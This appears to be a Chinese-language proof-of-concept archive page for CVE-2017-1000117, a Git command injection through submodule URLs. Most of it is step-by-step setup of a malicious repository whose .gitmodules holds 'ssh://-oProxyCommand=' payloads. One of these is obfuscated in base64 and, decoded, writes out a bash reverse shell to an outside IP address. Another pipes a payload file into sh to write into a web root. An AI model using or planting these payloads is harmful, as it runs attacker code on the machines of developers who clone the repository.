POC详情: 724a2cfc442f320b5211e72011b9841bc4afefa0

来源
关联漏洞
标题: Git 命令注入漏洞 (CVE-2017-1000117)
描述:Git是美国软件开发者林纳斯-托瓦兹(Linus Torvalds)所研发的一套免费、开源的分布式版本控制系统。 Git 2.7.5之前的版本中存在命令漏洞。远程攻击者可借助特制的‘ssh://...’URL利用该漏洞运行任意设备已退出的程序。
介绍
# CVE-2017-1000117  

恶意人员可以通过巧妙构造 “ssh://…” 链接,让受害人在执行程序等情况下访问该恶意链接,从而达到命令执行的目的。 该链接可以被放在 git项目的.gitmodules文件下,这样当受害人对一个项目进行git clone –recurse-submodules/git clone --recursive 操作时,就会引发安全问题。

预热:

linux 命令行输入
printf 'a' >> /tmp/pwned.txt
发现在tmp目录创建了pwned.txt,内容为 a


git init

git remote add origin  https://github.com/leezp/CVE-2017-1000117.git

git pull origin master

git submodule add https://github.com/leezp/CVE-2017-1000117.git sub1

([submodule "sub1"]
 	path = sub1
 	url = https://github.com/leezp/CVE-2017-1000117.git
//创建了sub1和name2两个submodule子目录)

git submodule add https://github.com/leezp/CVE-2017-1000117.git name2

git add .

git commit -m '1'

git push -u origin master

有两种制作方式:

第一种:
打开.gitmodules文件,修改内容(只需修改第一个,因为只会执行第一个submodule里的exp,这里创建2个是因为有时候创建一个不会执行,具体原因暂时没有太多兴趣研究)

[submodule "name1"]

	path = name1
   	url = ssh://-oProxyCommand=printf cHJpbnRmICJiYXNoIC1pID4vZGV2L3RjcC8xOTIuMTY4LjI1NS4xNTMvMjMzMyAwPiYxIDI+JjEgIiA+PiAvdG1wL3F3ZXI= | base64 -d | sh /bar
	
[submodule "sub2"]	

	path = sub2	
	url = https://github.com/leezp/CVE-2017-1000117.git

(具体见.gitmodules.bak1文件)
第一种方式无需payload文件


第二种方式:
打开.gitmodules文件,修改内容(只需修改第一个)

[submodule "sub1"]

	path = sub1
	url = ssh://-oProxyCommand=sh<payload/wat
	
[submodule "name2"]

	path = name2
	url = https://github.com/leezp/CVE-2017-1000117.git
  (具体见.gitmodules文件)
  
  此种方式需结合payload文件,payload文件我们输入 
  printf 'sss' > /var/www/html/vul
  
  

**注意**
git clone方式必须以下两种任一:

git clone --recursive url

git clone --recurse-submodules  url

使用git clone 则只会正常下载不会额外生成文件,所以漏洞触发条件较为苛刻。



文件快照

[4.0K] /data/pocs/724a2cfc442f320b5211e72011b9841bc4afefa0 ├── [4.0K] name2 ├── [ 33] payload ├── [2.1K] README.md └── [4.0K] sub1 2 directories, 2 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。